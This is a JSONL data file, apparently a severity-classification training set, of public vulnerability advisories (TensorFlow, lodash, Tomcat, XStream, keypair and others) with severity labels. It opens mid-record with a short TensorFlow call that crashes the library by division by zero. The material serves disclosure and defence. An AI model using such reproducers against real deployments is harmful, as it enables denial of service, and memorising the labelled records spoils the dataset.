shape=[52, 1, 1, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,\n                               out_backprop=out_backprop, strides=[1, 1, 1, 1],\n                               use_cudnn_on_gpu=True, padding='SAME',\n                               explicit_paddings=[], data_format='NHWC',\n                               dilations=[1, 1, 1, 1])\n```                 \n                    \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655) does a division by a quantity that is controlled by the caller:\n\n```cc \n  const size_t size_A = output_image_size * dims.out_depth; \n  const size_t size_B = filter_total_size * dims.out_depth;\n  const size_t size_C = output_image_size * filter_total_size;\n  const size_t work_unit_size = size_A + size_B + size_C;\n  ...\n  const size_t shard_size =\n      use_parallel_contraction ? 1 :\n      (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2be2cdf3a123e231b16f766aa0e27d56b4606535](https://github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "bf993ab62e43cbae183f", "text": "Unsafe Deserialization that can Result in Code Execution\n\nJMS Client for RabbitMQ 1.x before 1.15.2 and 2.x before 2.2.0 is vulnerable to unsafe deserialization that can result in code execution via crafted StreamMessage data.", "text_raw": "Unsafe Deserialization that can Result in Code Execution\n\n[Severity: HIGH]\n\nJMS Client for RabbitMQ 1.x before 1.15.2 and 2.x before 2.2.0 is vulnerable to unsafe deserialization that can result in code execution via crafted StreamMessage data.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "20b69ea2264134f7ef46", "text": "Cross-site scripting in jfinal\n\nAn issue was discovered in JFinal framework v4.9.10 and below. The \"set\" method of the \"Controller\" class of jfinal framework is not strictly filtered, which will lead to XSS vulnerabilities in some cases.", "text_raw": "Cross-site scripting in jfinal\n\n[Severity: MEDIUM]\n\nAn issue was discovered in JFinal framework v4.9.10 and below. The \"set\" method of the \"Controller\" class of jfinal framework is not strictly filtered, which will lead to XSS vulnerabilities in some cases.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "c5c40da7ec87cda736b8", "text": "Command injection in total.js\n\nThere is a command injection vulnerability that affects the package total.js before version 3.4.7. The issue occurs in the image.pipe and image.stream functions. The type parameter is used to build the command that is then executed using child_process.spawn. The issue occurs because child_process.spawn is called with the option shell set to true and because the type parameter is not properly sanitized.", "text_raw": "Command injection in total.js\n\n[Severity: HIGH]\n\nThere is a command injection vulnerability that affects the package total.js before version 3.4.7. The issue occurs in the image.pipe and image.stream functions. The type parameter is used to build the command that is then executed using child_process.spawn. The issue occurs because child_process.spawn is called with the option shell set to true and because the type parameter is not properly sanitized.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-05", "split": "train"}
-{"id": "7cbe51f13cbcfe937055", "text": "Out-of-bounds Read in njwt\n\nVersions of `njwt` prior to 1.0.0 are vulnerable to out-of-bounds reads when a number is passed into the `base64urlEncode` function.\n\nOn Node.js 6.x or lower this can expose sensitive information and on any other version of Node.js this creates a Denial of Service vulnerability.\n\n## Recommendation\n\nUpgrade to version 1.0.0.", "text_raw": "Out-of-bounds Read in njwt\n\n[Severity: LOW]\n\nVersions of `njwt` prior to 1.0.0 are vulnerable to out-of-bounds reads when a number is passed into the `base64urlEncode` function. \n\nOn Node.js 6.x or lower this can expose sensitive information and on any other version of Node.js this creates a Denial of Service vulnerability.\n\n\n## Recommendation\n\nUpgrade to version 1.0.0.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d56d23ee777d133665f7", "text": "XML External Entity Injection in XStream\n\nMultiple XML external entity (XXE) vulnerabilities in the (1) Dom4JDriver, (2) DomDriver, (3) JDomDriver, (4) JDom2Driver, (5) SjsxpDriver, (6) StandardStaxDriver, and (7) WstxDriver drivers in XStream before 1.4.9 allow remote attackers to read arbitrary files via a crafted XML document.", "text_raw": "XML External Entity Injection in XStream\n\n[Severity: HIGH]\n\nMultiple XML external entity (XXE) vulnerabilities in the (1) Dom4JDriver, (2) DomDriver, (3) JDomDriver, (4) JDom2Driver, (5) SjsxpDriver, (6) StandardStaxDriver, and (7) WstxDriver drivers in XStream before 1.4.9 allow remote attackers to read arbitrary files via a crafted XML document.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "aa72ab6cb04aeecc8db2", "text": "Stored XSS in October\n\n### Impact\nA user with access to a markdown FormWidget that stores data persistently could create a stored XSS attack against themselves and any other users with access to the generated HTML from the field.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466) & RainLab.Blog v1.4.1 by restricting the ability to store JS in markdown to only users that have been explicitly granted the `backend.allow_unsafe_markdown` permission.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/9ecfb4867baae14a0d3f99f5b5c1e8a979ae8746 & https://github.com/rainlab/blog-plugin/commit/6ae19a6e16ef3ba730692bc899851342c858bb94 to your installation manually if unable to upgrade to Build 466 or v1.4.1 of RainLab.Blog (if using that plugin).\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1100\" alt=\"Screen Shot 2020-03-31 at 2 01 52 PM\" src=\"https://user-images.githubusercontent.com/7253840/78070158-8f7ef580-7358-11ea-950c-226533f6a0a3.png\">", "text_raw": "Stored XSS in October\n\n[Severity: LOW]\n\n### Impact\nA user with access to a markdown FormWidget that stores data persistently could create a stored XSS attack against themselves and any other users with access to the generated HTML from the field.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466) & RainLab.Blog v1.4.1 by restricting the ability to store JS in markdown to only users that have been explicitly granted the `backend.allow_unsafe_markdown` permission.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/9ecfb4867baae14a0d3f99f5b5c1e8a979ae8746 & https://github.com/rainlab/blog-plugin/commit/6ae19a6e16ef3ba730692bc899851342c858bb94 to your installation manually if unable to upgrade to Build 466 or v1.4.1 of RainLab.Blog (if using that plugin).\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1100\" alt=\"Screen Shot 2020-03-31 at 2 01 52 PM\" src=\"https://user-images.githubusercontent.com/7253840/78070158-8f7ef580-7358-11ea-950c-226533f6a0a3.png\">", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "b7055620474571e4ae69", "text": "Command Injection in lodash\n\n`lodash` versions prior to 4.17.21 are vulnerable to Command Injection via the template function.", "text_raw": "Command Injection in lodash\n\n[Severity: HIGH]\n\n`lodash` versions prior to 4.17.21 are vulnerable to Command Injection via the template function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "49fe963aef5f6d91cca6", "text": "Apache Tomcat OS Command Injection vulnerability\n\nWhen running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https://web.archive.org/web/20161228144344/https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).", "text_raw": "Apache Tomcat OS Command Injection vulnerability\n\n[Severity: HIGH]\n\nWhen running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https://web.archive.org/web/20161228144344/https://blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-18", "split": "train"}
-{"id": "78a7e187417aef01945e", "text": "Drupal Core Remote Code Execution Vulnerability\n\nAffected: Drupal Drupal Core\n\nDrupal Core contains a remote code execution vulnerability that could allow an attacker to exploit multiple attack vectors on a Drupal site, resulting in complete site compromise.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Drupal Core Remote Code Execution Vulnerability\n\nAffected: Drupal Drupal Core\n\nDrupal Core contains a remote code execution vulnerability that could allow an attacker to exploit multiple attack vectors on a Drupal site, resulting in complete site compromise.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4cbc42840d3c900a0f2c", "text": "Buffer Overflow in Pillow\n\nPillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c.", "text_raw": "Buffer Overflow in Pillow\n\n[Severity: CRITICAL]\n\nPillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "31ca1b6d58b01342c94c", "text": "Code execution vulnerability in HtmlUnit\n\nHtmlUnit prior to 2.37.0 contains code execution vulnerabilities. HtmlUnit initializes Rhino engine improperly, hence a malicious JavScript code can execute arbitrary Java code on the application. Moreover, when embedded in Android application, Android-specific initialization of Rhino engine is done in an improper way, hence a malicious JavaScript code can execute arbitrary Java code on the application.", "text_raw": "Code execution vulnerability in HtmlUnit\n\n[Severity: HIGH]\n\nHtmlUnit prior to 2.37.0 contains code execution vulnerabilities. HtmlUnit initializes Rhino engine improperly, hence a malicious JavScript code can execute arbitrary Java code on the application. Moreover, when embedded in Android application, Android-specific initialization of Rhino engine is done in an improper way, hence a malicious JavaScript code can execute arbitrary Java code on the application. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "27b151f13d45a7f172ff", "text": "Apache Storm it is possible for the owner of a topology to trick the supervisor to launch a worker as a different, non-root, user\n\nIt was found that under some situations and configurations of Apache Storm 1.x before 1.0.4 and 1.1.x before 1.1.1, it is theoretically possible for the owner of a topology to trick the supervisor to launch a worker as a different, non-root, user. In the worst case this could lead to secure credentials of the other user being compromised.", "text_raw": "Apache Storm it is possible for the owner of a topology to trick the supervisor to launch a worker as a different, non-root, user\n\n[Severity: HIGH]\n\nIt was found that under some situations and configurations of Apache Storm 1.x before 1.0.4 and 1.1.x before 1.1.1, it is theoretically possible for the owner of a topology to trick the supervisor to launch a worker as a different, non-root, user. In the worst case this could lead to secure credentials of the other user being compromised.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "fc9e8d617ceaf276920c", "text": "**Withdrawn:** Duplicate of GHSA-9prh-257w-9277", "text_raw": "Moderate severity vulnerability that affects handlebars\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-9prh-257w-9277", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "214cd58f58a41d5e6077", "text": "FedMsg not properly completing message validation\n\nFedMsg 0.18.1 and older is vulnerable to a message validation flaw resulting in message validation not being enabled if configured to be on.", "text_raw": "FedMsg not properly completing message validation\n\n[Severity: HIGH]\n\nFedMsg 0.18.1 and older is vulnerable to a message validation flaw resulting in message validation not being enabled if configured to be on.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "53da415cf7af10e0a25b", "text": "Cross-site scripting in Apache CXF\n\nBy default, Apache CXF creates a /services page containing a listing of the available endpoint names and addresses. This webpage is vulnerable to a reflected Cross-Site Scripting (XSS) attack via the styleSheetPath, which allows a malicious actor to inject javascript into the web page. This vulnerability affects all versions of Apache CXF prior to 3.4.1 and 3.3.8. Please note that this is a separate issue to CVE-2019-17573.", "text_raw": "Cross-site scripting in Apache CXF\n\n[Severity: MEDIUM]\n\nBy default, Apache CXF creates a /services page containing a listing of the available endpoint names and addresses. This webpage is vulnerable to a reflected Cross-Site Scripting (XSS) attack via the styleSheetPath, which allows a malicious actor to inject javascript into the web page. This vulnerability affects all versions of Apache CXF prior to 3.4.1 and 3.3.8. Please note that this is a separate issue to CVE-2019-17573.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "1b0ea8516beffa738755", "text": "Improper Restriction of XML External Entity Reference in DiffPlug Spotless\n\nIn DiffPlug Spotless before 1.20.0 (library and Maven plugin) and before 3.20.0 (Gradle plugin), the XML parser would resolve external entities over both HTTP and HTTPS and didn't respect the resolveExternalEntities setting. For example, this allows disclosure of file contents to a MITM attacker if a victim performs a spotlessApply operation on an untrusted XML file.", "text_raw": "Improper Restriction of XML External Entity Reference in DiffPlug Spotless\n\n[Severity: HIGH]\n\nIn DiffPlug Spotless before 1.20.0 (library and Maven plugin) and before 3.20.0 (Gradle plugin), the XML parser would resolve external entities over both HTTP and HTTPS and didn't respect the resolveExternalEntities setting. For example, this allows disclosure of file contents to a MITM attacker if a victim performs a spotlessApply operation on an untrusted XML file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "6b5db3145f07c6c3a6cf", "text": "Code Injection in jackson-databind\n\nThis project contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. FasterXML jackson-databind 2.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).", "text_raw": "Code Injection in jackson-databind\n\n[Severity: HIGH]\n\nThis project contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. FasterXML jackson-databind 2.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "32cff8fe59d9d2b15e60", "text": "OpenZeppelin Contracts initializer reentrancy may lead to double initialization\n\n### Impact\n\nInitializer functions that are invoked separate from contract creation (the most prominent example being minimal proxies) may be reentered if they make an untrusted non-view external call.\n\nOnce an initializer has finished running it can never be re-executed. However, an exception put in place to support multiple inheritance made reentrancy possible in the scenario described above, breaking the expectation that there is a single execution.\n\nNote that upgradeable proxies are commonly initialized together with contract creation, where reentrancy is not feasible, so the impact of this issue is believed to be minor.\n\n### Patches\n\nA fix is included in the version v4.4.1 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\n\nAvoid untrusted external calls during initialization.\n\n### References\nhttps://github.com/OpenZeppelin/openzeppelin-contracts/pull/3006\n\n### Credits\n\nThis issue was identified and reported by @chaitinblockchain through [our bug bounty on Immunefi](https://immunefi.com/bounty/openzeppelin/).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.", "text_raw": "OpenZeppelin Contracts initializer reentrancy may lead to double initialization\n\n[Severity: MEDIUM]\n\n### Impact\n\nInitializer functions that are invoked separate from contract creation (the most prominent example being minimal proxies) may be reentered if they make an untrusted non-view external call.\n\nOnce an initializer has finished running it can never be re-executed. However, an exception put in place to support multiple inheritance made reentrancy possible in the scenario described above, breaking the expectation that there is a single execution.\n\nNote that upgradeable proxies are commonly initialized together with contract creation, where reentrancy is not feasible, so the impact of this issue is believed to be minor.\n\n### Patches\n\nA fix is included in the version v4.4.1 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.\n\n### Workarounds\n\nAvoid untrusted external calls during initialization.\n\n### References\nhttps://github.com/OpenZeppelin/openzeppelin-contracts/pull/3006\n\n### Credits\n\nThis issue was identified and reported by @chaitinblockchain through [our bug bounty on Immunefi](https://immunefi.com/bounty/openzeppelin/).\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "37d2c05e5519d64011ee", "text": "Cross-site Scripting in PrimeFaces\n\nAn XSS issue was discovered in tooltip/tooltip.js in PrimeTek PrimeFaces 7.0.11. In a web application using PrimeFaces, an attacker can provide JavaScript code in an input field whose data is later used as a tooltip title without any input validation.", "text_raw": "Cross-site Scripting in PrimeFaces\n\n[Severity: MEDIUM]\n\nAn XSS issue was discovered in tooltip/tooltip.js in PrimeTek PrimeFaces 7.0.11. In a web application using PrimeFaces, an attacker can provide JavaScript code in an input field whose data is later used as a tooltip title without any input validation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "0d9ca749d989ace946bc", "text": "XSS vulnerability on password reset page\n\n### Impact\nFor Mautic versions prior to 3.3.4, there is an XSS vulnerability on Mautic's password reset page where a vulnerable parameter, \"bundle,\" in the URL could allow an attacker to execute Javascript code. The attacker would be required to convince or trick the target into clicking a password reset URL with the vulnerable parameter utilized.\n\n### Patches\n\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\n\nNo\n\n### References\n\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "XSS vulnerability on password reset page\n\n[Severity: MEDIUM]\n\n### Impact\nFor Mautic versions prior to 3.3.4, there is an XSS vulnerability on Mautic's password reset page where a vulnerable parameter, \"bundle,\" in the URL could allow an attacker to execute Javascript code. The attacker would be required to convince or trick the target into clicking a password reset URL with the vulnerable parameter utilized. \n\n### Patches\n\nUpgrade to 3.3.4 or 4.0.0\n\n### Workarounds\n\nNo\n\n### References\n\nhttps://github.com/mautic/mautic/releases/tag/3.3.4\nhttps://github.com/mautic/mautic/releases/tag/4.0.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "034226310e0ce864d9ff", "text": "Cypress Solutions CTM-200/CTM-ONE Hard-coded Credentials Remote Root (Telnet/SSH)", "text_raw": "Cypress Solutions CTM-200/CTM-ONE Hard-coded Credentials Remote Root (Telnet/SSH)\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-10-10", "split": "train"}
-{"id": "e3b18a8a73c25bbf1884", "text": "Geminabox contains Cross-site Scripting\n\nStored cross-site scripting (XSS) vulnerability in \"geminabox\" (Gem in a Box) before 0.13.10 allows attackers to inject arbitrary web script via the \"homepage\" value of a \".gemspec\" file, related to views/gem.erb and views/index.erb.", "text_raw": "Geminabox contains Cross-site Scripting\n\n[Severity: MEDIUM]\n\nStored cross-site scripting (XSS) vulnerability in \"geminabox\" (Gem in a Box) before 0.13.10 allows attackers to inject arbitrary web script via the \"homepage\" value of a \".gemspec\" file, related to views/gem.erb and views/index.erb.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-11-29", "split": "train"}
-{"id": "72314cc11c366faae21c", "text": "Google Chromium Information Disclosure Vulnerability\n\nAffected: Google Chromium\n\nGoogle Chromium contains an information disclosure vulnerability within the core memory component that allows a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-862\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium Information Disclosure Vulnerability\n\nAffected: Google Chromium\n\nGoogle Chromium contains an information disclosure vulnerability within the core memory component that allows a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-862\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "7290a26688a4d1ba054f", "text": "Cross-site Scripting (XSS) in @scullyio/scully\n\nThis affects the package @scullyio/scully before 1.0.9. The transfer state is serialised with the JSON.stringify() function and then written into the HTML page.", "text_raw": "Cross-site Scripting (XSS) in @scullyio/scully\n\n[Severity: HIGH]\n\nThis affects the package @scullyio/scully before 1.0.9. The transfer state is serialised with the JSON.stringify() function and then written into the HTML page.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "46cdecbe68f5c4e9278b", "text": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change", "text_raw": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-05-03", "split": "train"}
-{"id": "6442da73210a1caac2fb", "text": "RSA decryption vulnerable to Bleichenbacher timing vulnerability\n\nRSA decryption was vulnerable to Bleichenbacher timing vulnerabilities, which would impact people using RSA decryption in online scenarios. This is fixed in cryptography 3.2.", "text_raw": "RSA decryption vulnerable to Bleichenbacher timing vulnerability\n\n[Severity: HIGH]\n\nRSA decryption was vulnerable to Bleichenbacher timing vulnerabilities, which would impact people using RSA decryption in online scenarios. This is fixed in cryptography 3.2. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "bcdaedc6caafd112fc1d", "text": "glob-parent vulnerable to Regular Expression Denial of Service in enclosure regex\n\nThis affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.", "text_raw": "glob-parent vulnerable to Regular Expression Denial of Service in enclosure regex\n\n[Severity: HIGH]\n\nThis affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "c8546bcda0f62322e528", "text": "Open Redirect in autobahn\n\nAutobahn|Python before 20.12.3 allows redirect header injection.", "text_raw": "Open Redirect in autobahn\n\n[Severity: MEDIUM]\n\nAutobahn|Python before 20.12.3 allows redirect header injection.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "57afa0b86ad9aef9e69b", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": " Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "98504307801127f8e435", "text": "Insecure random number generation in keypair\n\n## Description and Impact\n\nA bug in the pseudo-random number generator used by [keypair](https://github.com/juliangruber/keypair) versions up to and including 1.0.3 could allow for weak RSA key generation. This could enable an attacker to decrypt confidential messages or gain authorized access to an account belonging to the victim. We recommend replacing any RSA keys that were generated using keypair version 1.0.3 or earlier.\n\n## Fix\n\n* The [bug](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L1008) in the pseudo-random number generator is fixed in commit [`9596418`](https://github.com/juliangruber/keypair/commit/9596418d3363d3e757676c0b6a8f2d35a9d1cb18).\n* If the crypto module is available, it is used instead of the pseudo-random number generator. Also fixed in [`9596418`](https://github.com/juliangruber/keypair/commit/9596418d3363d3e757676c0b6a8f2d35a9d1cb18)\n\n## Additional Details\n\nThe specific [line](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L1008) with the flaw is:\n\n```javascript\nb.putByte(String.fromCharCode(next & 0xFF))\n```\n\nThe [definition](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L350-L352) of `putByte` is\n\n```javascript\nutil.ByteBuffer.prototype.putByte = function(b) {\n  this.data += String.fromCharCode(b);\n};\n```\n\nSimplified, this is `String.fromCharCode(String.fromCharCode(next & 0xFF))`. This results in most of the buffer containing zeros. An example generated buffer:\n\n(Note: truncated for brevity)\n\n```\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00....\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n```\n\nSince it is masking with 0xFF, approximately 97% of the bytes are converted to zeros. The impact is that each byte in the RNG seed has a 97% chance of being 0 due to incorrect conversion.\n\n## Credit\n\nThis issue was reported to GitHub Security Lab by Ross Wheeler of Axosoft. It was discovered by Axosoft engineer Dan Suceava, who noticed that [keypair](https://github.com/juliangruber/keypair) was regularly generating duplicate RSA keys. GitHub security engineer [@vcsjones (Kevin Jones)](https://github.com/vcsjones) independently investigated the problem and identified the cause and source code location of the bug.", "text_raw": "Insecure random number generation in keypair\n\n[Severity: HIGH]\n\n## Description and Impact\n\nA bug in the pseudo-random number generator used by [keypair](https://github.com/juliangruber/keypair) versions up to and including 1.0.3 could allow for weak RSA key generation. This could enable an attacker to decrypt confidential messages or gain authorized access to an account belonging to the victim. We recommend replacing any RSA keys that were generated using keypair version 1.0.3 or earlier.\n\n## Fix\n\n* The [bug](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L1008) in the pseudo-random number generator is fixed in commit [`9596418`](https://github.com/juliangruber/keypair/commit/9596418d3363d3e757676c0b6a8f2d35a9d1cb18).\n* If the crypto module is available, it is used instead of the pseudo-random number generator. Also fixed in [`9596418`](https://github.com/juliangruber/keypair/commit/9596418d3363d3e757676c0b6a8f2d35a9d1cb18)\n\n## Additional Details\n\nThe specific [line](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L1008) with the flaw is:\n\n```javascript\nb.putByte(String.fromCharCode(next & 0xFF))\n```\n\nThe [definition](https://github.com/juliangruber/keypair/blob/87c62f255baa12c1ec4f98a91600f82af80be6db/index.js#L350-L352) of `putByte` is \n\n```javascript\nutil.ByteBuffer.prototype.putByte = function(b) {\n  this.data += String.fromCharCode(b);\n};\n```\n\nSimplified, this is `String.fromCharCode(String.fromCharCode(next & 0xFF))`. This results in most of the buffer containing zeros. An example generated buffer:\n\n(Note: truncated for 